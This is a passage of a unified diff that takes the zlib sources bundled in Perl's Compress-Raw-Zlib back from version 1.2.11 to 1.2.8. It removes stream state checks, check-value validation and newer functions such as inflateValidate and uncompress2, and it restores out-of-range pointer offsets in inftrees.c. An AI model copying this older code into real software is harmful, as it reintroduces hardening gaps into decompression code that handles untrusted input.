inflateInit2_( if (state == Z_NULL) return Z_MEM_ERROR; Tracev((stderr, "inflate: allocated\n")); strm->state = (struct internal_state FAR *)state; - state->strm = strm; state->window = Z_NULL; - state->mode = HEAD; /* to pass state test in inflateReset2() */ ret = inflateReset2(strm, windowBits); if (ret != Z_OK) { ZFREE(strm, state); @@ -251,17 +234,17 @@ int ZEXPORT inflatePrime( { struct inflate_state FAR *state; - if (inflateStateCheck(strm)) return Z_STREAM_ERROR; + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; state = (struct inflate_state FAR *)strm->state; if (bits < 0) { state->hold = 0; state->bits = 0; return Z_OK; } - if (bits > 16 || state->bits + (uInt)bits > 32) return Z_STREAM_ERROR; + if (bits > 16 || state->bits + bits > 32) return Z_STREAM_ERROR; value &= (1L << bits) - 1; - state->hold += (unsigned)value << state->bits; - state->bits += (uInt)bits; + state->hold += value << state->bits; + state->bits += bits; return Z_OK; } @@ -642,7 +625,7 @@ int ZEXPORT inflate( static const unsigned short order[19] = /* permutation of code lengths */ {16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15}; - if (inflateStateCheck(strm) || strm->next_out == Z_NULL || + if (strm == Z_NULL || strm->state == Z_NULL || strm->next_out == Z_NULL || (strm->next_in == Z_NULL && strm->avail_in != 0)) return Z_STREAM_ERROR; @@ -662,8 +645,6 @@ int ZEXPORT inflate( NEEDBITS(16); #ifdef GUNZIP if ((state->wrap & 2) && hold == 0x8b1f) { /* gzip header */ - if (state->wbits == 0) - state->wbits = 15; state->check = crc32(0L, Z_NULL, 0); CRC2(state->check, hold); INITBITS(); @@ -691,7 +672,7 @@ int ZEXPORT inflate( len = BITS(4) + 8; if (state->wbits == 0) state->wbits = len; - if (len > 15 || len > state->wbits) { + else if (len > state->wbits) { strm->msg = (char *)"invalid window size"; state->mode = BAD; break; @@ -718,16 +699,14 @@ int ZEXPORT inflate( } if (state->head != Z_NULL) state->head->text = (int)((hold >> 8) & 1); - if ((state->flags & 0x0200) && (state->wrap & 4)) - CRC2(state->check, hold); + if (state->flags & 0x0200) CRC2(state->check, hold); INITBITS(); state->mode = TIME; case TIME: NEEDBITS(32); if (state->head != Z_NULL) state->head->time = hold; - if ((state->flags & 0x0200) && (state->wrap & 4)) - CRC4(state->check, hold); + if (state->flags & 0x0200) CRC4(state->check, hold); INITBITS(); state->mode = OS; case OS: @@ -736,25 +715,21 @@ int ZEXPORT inflate( state->head->xflags = (int)(hold & 0xff); state->head->os = (int)(hold >> 8); } - if ((state->flags & 0x0200) && (state->wrap & 4)) - CRC2(state->check, hold); + if (state->flags & 0x0200) CRC2(state->check, hold); INITBITS(); state->mode = EXLEN; - /* FALLTHROUGH */ case EXLEN: if (state->flags & 0x0400) { NEEDBITS(16); state->length = (unsigned)(hold); if (state->head != Z_NULL) state->head->extra_len = (unsigned)hold; - if ((state->flags & 0x0200) && (state->wrap & 4)) - CRC2(state->check, hold); + if (state->flags & 0x0200) CRC2(state->check, hold); INITBITS(); } else if (state->head != Z_NULL) state->head->extra = Z_NULL; state->mode = EXTRA; - /* FALLTHROUGH */ case EXTRA: if (state->flags & 0x0400) { copy = state->length; @@ -767,7 +742,7 @@ int ZEXPORT inflate( len + copy > state->head->extra_max ? state->head->extra_max - len : copy); } - if ((state->flags & 0x0200) && (state->wrap & 4)) + if (state->flags & 0x0200) state->check = crc32(state->check, next, copy); have -= copy; next += copy; @@ -777,7 +752,6 @@ int ZEXPORT inflate( } state->length = 0; state->mode = NAME; - /* FALLTHROUGH */ case NAME: if (state->flags & 0x0800) { if (have == 0) goto inf_leave; @@ -787,9 +761,9 @@ int ZEXPORT inflate( if (state->head != Z_NULL && state->head->name != Z_NULL && state->length < state->head->name_max) - state->head->name[state->length++] = (Bytef)len; + state->head->name[state->length++] = len; } while (len && copy < have); - if ((state->flags & 0x0200) && (state->wrap & 4)) + if (state->flags & 0x0200) state->check = crc32(state->check, next, copy); have -= copy; next += copy; @@ -799,7 +773,6 @@ int ZEXPORT inflate( state->head->name = Z_NULL; state->length = 0; state->mode = COMMENT; - /* FALLTHROUGH */ case COMMENT: if (state->flags & 0x1000) { if (have == 0) goto inf_leave; @@ -809,9 +782,9 @@ int ZEXPORT inflate( if (state->head != Z_NULL && state->head->comment != Z_NULL && state->length < state->head->comm_max) - state->head->comment[state->length++] = (Bytef)len; + state->head->comment[state->length++] = len; } while (len && copy < have); - if ((state->flags & 0x0200) && (state->wrap & 4)) + if (state->flags & 0x0200) state->check = crc32(state->check, next, copy); have -= copy; next += copy; @@ -820,11 +793,10 @@ int ZEXPORT inflate( else if (state->head != Z_NULL) state->head->comment = Z_NULL; state->mode = HCRC; - /* FALLTHROUGH */ case HCRC: if (state->flags & 0x0200) { NEEDBITS(16); - if ((state->wrap & 4) && hold != (state->check & 0xffff)) { + if (hold != (state->check & 0xffff)) { strm->msg = (char *)"header crc mismatch"; state->mode = BAD; break; @@ -844,7 +816,6 @@ int ZEXPORT inflate( strm->adler = state->check = ZSWAP32(hold); INITBITS(); state->mode = DICT; - /* FALLTHROUGH */ case DICT: if (state->havedict == 0) { RESTORE(); @@ -852,10 +823,8 @@ int ZEXPORT inflate( } strm->adler = state->check = adler32(0L, Z_NULL, 0); state->mode = TYPE; - /* FALLTHROUGH */ case TYPE: if (flush == Z_BLOCK || flush == Z_TREES) goto inf_leave; - /* FALLTHROUGH */ case TYPEDO: if (state->last) { BYTEBITS(); @@ -906,10 +875,8 @@ int ZEXPORT inflate( INITBITS(); state->mode = COPY_; if (flush == Z_TREES) goto inf_leave; - /* FALLTHROUGH */ case COPY_: state->mode = COPY; - /* FALLTHROUGH */ case COPY: copy = state->length; if (copy) { @@ -1049,10 +1016,8 @@ int ZEXPORT inflate( Tracev((stderr, "inflate: codes ok\n")); state->mode = LEN_; if (flush == Z_TREES) goto inf_leave; - /* FALLTHROUGH */ case LEN_: state->mode = LEN; - /* FALLTHROUGH */ case LEN: if (have >= 6 && left >= 258) { RESTORE(); @@ -1102,7 +1067,6 @@ int ZEXPORT inflate( } state->extra = (unsigned)(here.op) & 15; state->mode = LENEXT; - /* FALLTHROUGH */ case LENEXT: if (state->extra) { NEEDBITS(state->extra); @@ -1113,7 +1077,6 @@ int ZEXPORT inflate( Tracevv((stderr, "inflate: length %u\n", state->length)); state->was = state->length; state->mode = DIST; - /* FALLTHROUGH */ case DIST: for (;;) { here = state->distcode[BITS(state->distbits)]; @@ -1141,7 +1104,6 @@ int ZEXPORT inflate( state->offset = (unsigned)here.val; state->extra = (unsigned)(here.op) & 15; state->mode = DISTEXT; - /* FALLTHROUGH */ case DISTEXT: if (state->extra) { NEEDBITS(state->extra); @@ -1158,7 +1120,6 @@ int ZEXPORT inflate( #endif Tracevv((stderr, "inflate: distance %u\n", state->offset)); state->mode = MATCH; - /* FALLTHROUGH */ case MATCH: if (left == 0) goto inf_leave; copy = out - left; @@ -1216,11 +1177,11 @@ int ZEXPORT inflate( out -= left; strm->total_out += out; state->total += out; - if ((state->wrap & 4) && out) + if (out) strm->adler = state->check = UPDATE(state->check, put - out, out); out = left; - if ((state->wrap & 4) && ( + if (( #ifdef GUNZIP state->flags ? hold : #endif @@ -1234,7 +1195,6 @@ int ZEXPORT inflate( } #ifdef GUNZIP state->mode = LENGTH; - /* FALLTHROUGH */ case LENGTH: if (state->wrap && state->flags) { NEEDBITS(32); @@ -1248,7 +1208,6 @@ int ZEXPORT inflate( } #endif state->mode = DONE; - /* FALLTHROUGH */ case DONE: ret = Z_STREAM_END; goto inf_leave; @@ -1281,10 +1240,10 @@ int ZEXPORT inflate( strm->total_in += in; strm->total_out += out; state->total += out; - if ((state->wrap & 4) && out) + if (state->wrap && out) strm->adler = state->check = UPDATE(state->check, strm->next_out - out, out); - strm->data_type = (int)state->bits + (state->last ? 64 : 0) + + strm->data_type = state->bits + (state->last ? 64 : 0) + (state->mode == TYPE ? 128 : 0) + (state->mode == LEN_ || state->mode == COPY_ ? 256 : 0); if (((in == 0 && out == 0) || flush == Z_FINISH) && ret == Z_OK) @@ -1296,7 +1255,7 @@ int ZEXPORT inflateEnd( z_streamp strm) { struct inflate_state FAR *state; - if (inflateStateCheck(strm)) + if (strm == Z_NULL || strm->state == Z_NULL || strm->zfree == (free_func)0) return Z_STREAM_ERROR; state = (struct inflate_state FAR *)strm->state; if (state->window != Z_NULL) ZFREE(strm, state->window); @@ -1314,7 +1273,7 @@ int ZEXPORT inflateGetDictionary( struct inflate_state FAR *state; /* check state */ - if (inflateStateCheck(strm)) return Z_STREAM_ERROR; + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; state = (struct inflate_state FAR *)strm->state; /* copy dictionary */ @@ -1339,7 +1298,7 @@ int ZEXPORT inflateSetDictionary( int ret; /* check state */ - if (inflateStateCheck(strm)) return Z_STREAM_ERROR; + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; state = (struct inflate_state FAR *)strm->state; if (state->wrap != 0 && state->mode != DICT) return Z_STREAM_ERROR; @@ -1371,7 +1330,7 @@ int ZEXPORT inflateGetHeader( struct inflate_state FAR *state; /* check state */ - if (inflateStateCheck(strm)) return Z_STREAM_ERROR; + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; state = (struct inflate_state FAR *)strm->state; if ((state->wrap & 2) == 0) return Z_STREAM_ERROR; @@ -1424,7 +1383,7 @@ int ZEXPORT inflateSync( struct inflate_state FAR *state; /* check parameters */ - if (inflateStateCheck(strm)) return Z_STREAM_ERROR; + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; state = (struct inflate_state FAR *)strm->state; if (strm->avail_in == 0 && state->bits < 8) return Z_BUF_ERROR; @@ -1471,7 +1430,7 @@ int ZEXPORT inflateSyncPoint( { struct inflate_state FAR *state; - if (inflateStateCheck(strm)) return Z_STREAM_ERROR; + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; state = (struct inflate_state FAR *)strm->state; return state->mode == STORED && state->bits == 0; } @@ -1486,7 +1445,8 @@ int ZEXPORT inflateCopy( unsigned wsize; /* check input */ - if (inflateStateCheck(source) || dest == Z_NULL) + if (dest == Z_NULL || source == Z_NULL || source->state == Z_NULL || + source->zalloc == (alloc_func)0 || source->zfree == (free_func)0) return Z_STREAM_ERROR; state = (struct inflate_state FAR *)source->state; @@ -1507,7 +1467,6 @@ int ZEXPORT inflateCopy( /* copy state */ zmemcpy((Bytef*)dest, (Bytef*)source, sizeof(z_stream)); zmemcpy((Bytef*)copy, (Bytef*)state, sizeof(struct inflate_state)); - copy->strm = dest; if (state->lencode >= state->codes && state->lencode <= state->codes + ENOUGH - 1) { copy->lencode = copy->codes + (state->lencode - state->codes); @@ -1529,7 +1488,7 @@ int ZEXPORT inflateUndermine( { struct inflate_state FAR *state; - if (inflateStateCheck(strm)) return Z_STREAM_ERROR; + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; state = (struct inflate_state FAR *)strm->state; #ifdef INFLATE_ALLOW_INVALID_DISTANCE_TOOFAR_ARRR state->sane = !subvert; @@ -1541,39 +1500,18 @@ int ZEXPORT inflateUndermine( #endif } -int ZEXPORT inflateValidate( - z_streamp strm, - int check) -{ - struct inflate_state FAR *state; - - if (inflateStateCheck(strm)) return Z_STREAM_ERROR; - state = (struct inflate_state FAR *)strm->state; - if (check) - state->wrap |= 4; - else - state->wrap &= ~4; - return Z_OK; -} - long ZEXPORT inflateMark( z_streamp strm) { struct inflate_state FAR *state; - if (inflateStateCheck(strm)) + /* Change to return statement below is taken from + https://github.com/madler/zlib/commit/2edb94a3025d288dc251bc6cbb2c02e60fbd7438 + */ + if (strm == Z_NULL || strm->state == Z_NULL) return -(1L << 16); state = (struct inflate_state FAR *)strm->state; - return (long)(((unsigned long)((long)state->back)) << 16) + + return ((long)(state->back) << 16) + (state->mode == COPY ? state->length : (state->mode == MATCH ? state->was - state->length : 0)); } - -unsigned long ZEXPORT inflateCodesUsed( - z_streamp strm) -{ - struct inflate_state FAR *state; - if (inflateStateCheck(strm)) return (unsigned long)-1; - state = (struct inflate_state FAR *)strm->state; - return (unsigned long)(state->next - state->codes); -} diff --git a/cpan/Compress-Raw-Zlib/zlib-src/inflate.h b/cpan/Compress-Raw-Zlib/zlib-src/inflate.h index a46cce6b6d05..95f4986d4002 100644 --- a/cpan/Compress-Raw-Zlib/zlib-src/inflate.h +++ b/cpan/Compress-Raw-Zlib/zlib-src/inflate.h @@ -1,5 +1,5 @@ /* inflate.h -- internal inflate state definition - * Copyright (C) 1995-2016 Mark Adler + * Copyright (C) 1995-2009 Mark Adler * For conditions of distribution and use, see copyright notice in zlib.h */ @@ -18,7 +18,7 @@ /* Possible inflate modes between inflate() calls */ typedef enum { - HEAD = 16180, /* i: waiting for magic header */ + HEAD, /* i: waiting for magic header */ FLAGS, /* i: waiting for method and flags (gzip) */ TIME, /* i: waiting for modification time (gzip) */ OS, /* i: waiting for extra flags and operating system (gzip) */ @@ -77,14 +77,11 @@ typedef enum { CHECK -> LENGTH -> DONE */ -/* State maintained between inflate() calls -- approximately 7K bytes, not - including the allocated sliding window, which is up to 32K bytes. */ +/* state maintained between inflate() calls. Approximately 10K bytes. */ struct inflate_state { - z_streamp strm; /* pointer back to this zlib stream */ inflate_mode mode; /* current inflate mode */ int last; /* true if processing last block */ - int wrap; /* bit 0 true for zlib, bit 1 true for gzip, - bit 2 true to validate check value */ + int wrap; /* bit 0 true for zlib, bit 1 true for gzip */ int havedict; /* true if dictionary provided */ int flags; /* gzip header method and flags (0 if zlib) */ unsigned dmax; /* zlib header max distance (INFLATE_STRICT) */ diff --git a/cpan/Compress-Raw-Zlib/zlib-src/inftrees.c b/cpan/Compress-Raw-Zlib/zlib-src/inftrees.c index c917e3de751f..039222a952ee 100644 --- a/cpan/Compress-Raw-Zlib/zlib-src/inftrees.c +++ b/cpan/Compress-Raw-Zlib/zlib-src/inftrees.c @@ -1,5 +1,5 @@ /* inftrees.c -- generate Huffman trees for efficient decoding - * Copyright (C) 1995-2017 Mark Adler + * Copyright (C) 1995-2013 Mark Adler * For conditions of distribution and use, see copyright notice in zlib.h */ @@ -9,7 +9,7 @@ #define MAXBITS 15 const char inflate_copyright[] = - " inflate 1.2.11 Copyright 1995-2017 Mark Adler "; + " inflate 1.2.8 Copyright 1995-2013 Mark Adler "; /* If you use the zlib library in a product, an acknowledgment is welcome in the documentation of your product. If for some reason you cannot @@ -54,7 +54,7 @@ int ZLIB_INTERNAL inflate_table( code FAR *next; /* next available space in table */ const unsigned short FAR *base; /* base value table to use */ const unsigned short FAR *extra; /* extra bits table to use */ - unsigned match; /* use base and extra for symbol >= match */ + int end; /* use base and extra for symbol > end */ unsigned short count[MAXBITS+1]; /* number of codes of each length */ unsigned short offs[MAXBITS+1]; /* offsets in table for each length */ static const unsigned short lbase[31] = { /* Length codes 257..285 base */ @@ -62,7 +62,7 @@ int ZLIB_INTERNAL inflate_table( 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0}; static const unsigned short lext[31] = { /* Length codes 257..285 extra */ 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18, - 19, 19, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 16, 77, 202}; + 19, 19, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 16, 72, 78}; static const unsigned short dbase[32] = { /* Distance codes 0..29 base */ 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, @@ -181,17 +181,19 @@ int ZLIB_INTERNAL inflate_table( switch (type) { case CODES: base = extra = work; /* dummy value--not used */ - match = 20; + end = 19; break; case LENS: base = lbase; + base -= 257; extra = lext; - match = 257; + extra -= 257; + end = 256; break; - default: /* DISTS */ + default: /* DISTS */ base = dbase; extra = dext; - match = 0; + end = -1; } /* initialize state for loop */ @@ -214,13 +216,13 @@ int ZLIB_INTERNAL inflate_table( for (;;) { /* create table entry */ here.bits = (unsigned char)(len - drop); - if (work[sym] + 1U < match) { + if ((int)(work[sym]) < end) { here.op = (unsigned char)0; here.val = work[sym]; } - else if (work[sym] >= match) { - here.op = (unsigned char)(extra[work[sym] - match]); - here.val = base[work[sym] - match]; + else if ((int)(work[sym]) > end) { + here.op = (unsigned char)(extra[work[sym]]); + here.val = base[work[sym]]; } else { here.op = (unsigned char)(32 + 64); /* end of block */ diff --git a/cpan/Compress-Raw-Zlib/zlib-src/trees.c b/cpan/Compress-Raw-Zlib/zlib-src/trees.c index 6fc240371aeb..622859a2c0a4 100644 --- a/cpan/Compress-Raw-Zlib/zlib-src/trees.c +++ b/cpan/Compress-Raw-Zlib/zlib-src/trees.c @@ -1,5 +1,5 @@ /* trees.c -- output deflated data using Huffman coding - * Copyright (C) 1995-2017 Jean-loup Gailly + * Copyright (C) 1995-2012 Jean-loup Gailly * detect_data_type() function provided freely by Cosmin Truta, 2006 * For conditions of distribution and use, see copyright notice in zlib.h */ @@ -36,7 +36,7 @@ #include "deflate.h" -#ifdef ZLIB_DEBUG +#ifdef DEBUG # include #endif @@ -152,16 +152,18 @@ local int detect_data_type OF((deflate_state *s)); local unsigned bi_reverse OF((unsigned value, int length)); local void bi_windup OF((deflate_state *s)); local void bi_flush OF((deflate_state *s)); +local void copy_block OF((deflate_state *s, charf *buf, unsigned len, + int header)); #ifdef GEN_TREES_H local void gen_trees_header OF((void)); #endif -#ifndef ZLIB_DEBUG +#ifndef DEBUG # define send_code(s, c, tree) send_bits(s, tree[c].Code, tree[c].Len) /* Send a code of the given tree. c and tree must not have side effects */ -#else /* !ZLIB_DEBUG */ +#else /* DEBUG */ # define send_code(s, c, tree) \ { if (z_verbose>2) fprintf(stderr,"\ncd %3d ",(c)); \ send_bits(s, tree[c].Code, tree[c].Len); } @@ -180,7 +182,7 @@ local void gen_trees_header OF((void)); * Send a value on a given number of bits. * IN assertion: length <= 16 and value fits in length bits. */ -#ifdef ZLIB_DEBUG +#ifdef DEBUG local void send_bits OF((deflate_state *s, int value, int length)); local void send_bits( @@ -206,12 +208,12 @@ local void send_bits( s->bi_valid += length; } } -#else /* !ZLIB_DEBUG */ +#else /* !DEBUG */ #define send_bits(s, value, length) \ { int len = length;\ if (s->bi_valid > (int)Buf_size - len) {\ - int val = (int)value;\ + int val = value;\ s->bi_buf |= (ush)val << s->bi_valid;\ put_short(s, s->bi_buf);\ s->bi_buf = (ush)val >> (Buf_size - s->bi_valid);\ @@ -221,7 +223,7 @@ local void send_bits( s->bi_valid += len;\ }\ } -#endif /* ZLIB_DEBUG */ +#endif /* DEBUG */ /* the arguments must not have side effects */ @@ -315,7 +317,7 @@ local void tr_static_init() * Genererate the file trees.h describing the static trees. */ #ifdef GEN_TREES_H -# ifndef ZLIB_DEBUG +# ifndef DEBUG # include # endif @@ -392,7 +394,7 @@ void ZLIB_INTERNAL _tr_init( s->bi_buf = 0; s->bi_valid = 0; -#ifdef ZLIB_DEBUG +#ifdef DEBUG s->compressed_len = 0L; s->bits_sent = 0L; #endif @@ -520,12 +522,12 @@ local void gen_bitlen( xbits = 0; if (n >= base) xbits = extra[n-base]; f = tree[n].Freq; - s->opt_len += (ulg)f * (unsigned)(bits + xbits); - if (stree) s->static_len += (ulg)f * (unsigned)(stree[n].Len + xbits); + s->opt_len += (ulg)f * (bits + xbits); + if (stree) s->static_len += (ulg)f * (stree[n].Len + xbits); } if (overflow == 0) return; - Tracev((stderr,"\nbit length overflow\n")); + Trace((stderr,"\nbit length overflow\n")); /* This happens for example on obj2 and pic of the Calgary corpus */ /* Find the first bit length which could increase: */ @@ -552,8 +554,9 @@ local void gen_bitlen( m = s->heap[--h]; if (m > max_code) continue; if ((unsigned) tree[m].Len != (unsigned) bits) { - Tracev((stderr,"code %d bits %d->%d\n", m, tree[m].Len, bits)); - s->opt_len += ((ulg)bits - tree[m].Len) * tree[m].Freq; + Trace((stderr,"code %d bits %d->%d\n", m, tree[m].Len, bits)); + s->opt_len += ((long)bits - (long)tree[m].Len) + *(long)tree[m].Freq; tree[m].Len = (ush)bits; } n--; @@ -575,7 +578,7 @@ local void gen_codes ( ushf *bl_count) { ush next_code[MAX_BITS+1]; /* next code value for each bit length */ - unsigned code = 0; /* running code value */ + ush code = 0; /* running code value */ int bits; /* bit index */ int n; /* code index */ @@ -583,8 +586,7 @@ local void gen_codes ( * without bit reversal. */ for (bits = 1; bits <= MAX_BITS; bits++) { - code = (code + bl_count[bits-1]) << 1; - next_code[bits] = (ush)code; + next_code[bits] = code = (code + bl_count[bits-1]) << 1; } /* Check that the bit counts in bl_count are consistent. The last code * must be all ones. @@ -597,7 +599,7 @@ local void gen_codes ( int len = tree[n].Len; if (len == 0) continue; /* Now reverse the bits */ - tree[n].Code = (ush)bi_reverse(next_code[len]++, len); + tree[n].Code = bi_reverse(next_code[len]++, len); Tracecv(tree != static_ltree, (stderr,"\nn %3d %c l %2d c %4x (%x) ", n, (isgraph(n) ? n : ' '), len, tree[n].Code, next_code[len]-1)); @@ -819,7 +821,7 @@ local int build_bl_tree( if (s->bl_tree[bl_order[max_blindex]].Len != 0) break; } /* Update opt_len to include the bit length tree and counts */ - s->opt_len += 3*((ulg)max_blindex+1) + 5+5+4; + s->opt_len += 3*(max_blindex+1) + 5+5+4; Tracev((stderr, "\ndyn trees: dyn %ld, stat %ld", s->opt_len, s->static_len)); @@ -869,17 +871,11 @@ void ZLIB_INTERNAL _tr_stored_block( int last) { send_bits(s, (STORED_BLOCK<<1)+last, 3); /* send block type */ - bi_windup(s); /* align on byte boundary */ - put_short(s, (ush)stored_len); - put_short(s, (ush)~stored_len); - zmemcpy(s->pending_buf + s->pending, (Bytef *)buf, stored_len); - s->pending += stored_len; -#ifdef ZLIB_DEBUG +#ifdef DEBUG s->compressed_len = (s->compressed_len + 3 + 7) & (ulg)~7L; s->compressed_len += (stored_len + 4) << 3; - s->bits_sent += 2*16; - s->bits_sent += stored_len<<3; #endif + copy_block(s, buf, (unsigned)stored_len, 1); /* with header */ } /* =========================================================================== @@ -900,7 +896,7 @@ void ZLIB_INTERNAL _tr_align( { send_bits(s, STATIC_TREES<<1, 3); send_code(s, END_BLOCK, static_ltree); -#ifdef ZLIB_DEBUG +#ifdef DEBUG s->compressed_len += 10L; /* 3 for block type, 7 for EOB */ #endif bi_flush(s); @@ -908,7 +904,7 @@ void ZLIB_INTERNAL _tr_align( /* =========================================================================== * Determine the best encoding for the current block: dynamic trees, static - * trees or store, and write out the encoded block. + * trees or store, and output the encoded block to the zip file. */ void ZLIB_INTERNAL _tr_flush_block( deflate_state *s, @@ -980,7 +976,7 @@ void ZLIB_INTERNAL _tr_flush_block( send_bits(s, (STATIC_TREES<<1)+last, 3); compress_block(s, (const ct_data *)static_ltree, (const ct_data *)static_dtree); -#ifdef ZLIB_DEBUG +#ifdef DEBUG s->compressed_len += 3 + s->static_len; #endif } else { @@ -989,7 +985,7 @@ void ZLIB_INTERNAL _tr_flush_block( max_blindex+1); compress_block(s, (const ct_data *)s->dyn_ltree, (const ct_data *)s->dyn_dtree); -#ifdef ZLIB_DEBUG +#ifdef DEBUG s->compressed_len += 3 + s->opt_len; #endif } @@ -1001,7 +997,7 @@ void ZLIB_INTERNAL _tr_flush_block( if (last) { bi_windup(s); -#ifdef ZLIB_DEBUG +#ifdef DEBUG s->compressed_len += 7; /* align on byte boundary */ #endif } @@ -1096,7 +1092,7 @@ local void compress_block( send_code(s, code, dtree); /* send the distance code */ extra = extra_dbits[code]; if (extra != 0) { - dist -= (unsigned)base_dist[code]; + dist -= base_dist[code]; send_bits(s, dist, extra); /* send the extra distance bits */ } } /* literal or match pair ? */ @@ -1199,7 +1195,34 @@ local void bi_windup( } s->bi_buf = 0; s->bi_valid = 0; -#ifdef ZLIB_DEBUG +#ifdef DEBUG s->bits_sent = (s->bits_sent+7) & ~7; #endif } + +/* =========================================================================== + * Copy a stored block, storing first the length and its + * one's complement if requested. + */ +local void copy_block( + deflate_state *s, + charf *buf, + unsigned len, + int header) +{ + bi_windup(s); /* align on byte boundary */ + + if (header) { + put_short(s, (ush)len); + put_short(s, (ush)~len); +#ifdef DEBUG + s->bits_sent += 2*16; +#endif + } +#ifdef DEBUG + s->bits_sent += (ulg)len<<3; +#endif + while (len--) { + put_byte(s, *buf++); + } +} diff --git a/cpan/Compress-Raw-Zlib/zlib-src/uncompr.c b/cpan/Compress-Raw-Zlib/zlib-src/uncompr.c index f8a1ba9d6f00..d3cb8fe18354 100644 --- a/cpan/Compress-Raw-Zlib/zlib-src/uncompr.c +++ b/cpan/Compress-Raw-Zlib/zlib-src/uncompr.c @@ -1,5 +1,5 @@ /* uncompr.c -- decompress a memory buffer - * Copyright (C) 1995-2003, 2010, 2014, 2016 Jean-loup Gailly, Mark Adler + * Copyright (C) 1995-2003, 2010 Jean-loup Gailly. * For conditions of distribution and use, see copyright notice in zlib.h */ @@ -9,85 +9,51 @@ #include "zlib.h" /* =========================================================================== - Decompresses the source buffer into the destination buffer. *sourceLen is - the byte length of the source buffer. Upon entry, *destLen is the total size - of the destination buffer, which must be large enough to hold the entire - uncompressed data. (The size of the uncompressed data must have been saved - previously by the compressor and transmitted to the decompressor by some - mechanism outside the scope of this compression library.) Upon exit, - *destLen is the size of the decompressed data and *sourceLen is the number - of source bytes consumed. Upon return, source + *sourceLen points to the - first unused input byte. - - uncompress returns Z_OK if success, Z_MEM_ERROR if there was not enough - memory, Z_BUF_ERROR if there was not enough room in the output buffer, or - Z_DATA_ERROR if the input data was corrupted, including if the input data is - an incomplete zlib stream. + Decompresses the source buffer into the destination buffer. sourceLen is + the byte length of the source buffer. Upon entry, destLen is the total + size of the destination buffer, which must be large enough to hold the + entire uncompressed data. (The size of the uncompressed data must have + been saved previously by the compressor and transmitted to the decompressor + by some mechanism outside the scope of this compression library.) + Upon exit, destLen is the actual size of the compressed buffer. + + uncompress returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_BUF_ERROR if there was not enough room in the output + buffer, or Z_DATA_ERROR if the input data was corrupted. */ -int ZEXPORT uncompress2 ( +int ZEXPORT uncompress ( Bytef *dest, uLongf *destLen, const Bytef *source, - uLong *sourceLen) + uLong sourceLen) { z_stream stream; int err; - const uInt max = (uInt)-1; - uLong len, left; - Byte buf[1]; /* for detection of incomplete stream when *destLen == 0 */ - - len = *sourceLen; - if (*destLen) { - left = *destLen; - *destLen = 0; - } - else { - left = 1; - dest = buf; - } stream.next_in = (z_const Bytef *)source; - stream.avail_in = 0; + stream.avail_in = (uInt)sourceLen; + /* Check for source > 64K on 16-bit machine: */ + if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR; + + stream.next_out = dest; + stream.avail_out = (uInt)*destLen; + if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR; + stream.zalloc = (alloc_func)0; stream.zfree = (free_func)0; - stream.opaque = (voidpf)0; err = inflateInit(&stream); if (err != Z_OK) return err; - stream.next_out = dest; - stream.avail_out = 0; - - do { - if (stream.avail_out == 0) { - stream.avail_out = left > (uLong)max ? max : (uInt)left; - left -= stream.avail_out; - } - if (stream.avail_in == 0) { - stream.avail_in = len > (uLong)max ? max : (uInt)len; - len -= stream.avail_in; - } - err = inflate(&stream, Z_NO_FLUSH); - } while (err == Z_OK); - - *sourceLen -= len + stream.avail_in; - if (dest != buf) - *destLen = stream.total_out; - else if (stream.total_out && err == Z_BUF_ERROR) - left = 1; - - inflateEnd(&stream); - return err == Z_STREAM_END ? Z_OK : - err == Z_NEED_DICT ? Z_DATA_ERROR : - err == Z_BUF_ERROR && left + stream.avail_out ? Z_DATA_ERROR : - err; -} + err = inflate(&stream, Z_FINISH); + if (err != Z_STREAM_END) { + inflateEnd(&stream); + if (err == Z_NEED_DICT || (err == Z_BUF_ERROR && stream.avail_in == 0)) + return Z_DATA_ERROR; + return err; + } + *destLen = stream.total_out; -int ZEXPORT uncompress ( - Bytef *dest, - uLongf *destLen, - const Bytef *source, - uLong sourceLen) -{ - return uncompress2(dest, destLen, source, &sourceLen); + err = inflateEnd(&stream); + return err; } diff --git a/cpan/Compress-Raw-Zlib/zlib-src/zconf.h b/cpan/Compress-Raw-Zlib/zlib-src/zconf.h index 5e1d68a004e9..9987a775530c 100644 --- a/cpan/Compress-Raw-Zlib/zlib-src/zconf.h +++ b/cpan/Compress-Raw-Zlib/zlib-src/zconf.h @@ -1,5 +1,5 @@ /* zconf.h -- configuration of the zlib compression library - * Copyright (C) 1995-2016 Jean-loup Gailly, Mark Adler + * Copyright (C) 1995-2013 Jean-loup Gailly. * For conditions of distribution and use, see copyright notice in zlib.h */ @@ -17,7 +17,7 @@ #ifdef Z_PREFIX /* may be set to #if 1 by ./configure */ # define Z_PREFIX_SET -/* all linked symbols and init macros */ +/* all linked symbols */ # define _dist_code z__dist_code # define _length_code z__length_code # define _tr_align z__tr_align @@ -29,7 +29,6 @@ # define adler32 z_adler32 # define adler32_combine z_adler32_combine # define adler32_combine64 z_adler32_combine64 -# define adler32_z z_adler32_z # ifndef Z_SOLO # define compress z_compress # define compress2 z_compress2 @@ -38,14 +37,10 @@ # define crc32 z_crc32 # define crc32_combine z_crc32_combine # define crc32_combine64 z_crc32_combine64 -# define crc32_z z_crc32_z # define deflate z_deflate # define deflateBound z_deflateBound # define deflateCopy z_deflateCopy # define deflateEnd z_deflateEnd -# define deflateGetDictionary z_deflateGetDictionary -# define deflateInit z_deflateInit -# define deflateInit2 z_deflateInit2 # define deflateInit2_ z_deflateInit2_ # define deflateInit_ z_deflateInit_ # define deflateParams z_deflateParams @@ -72,8 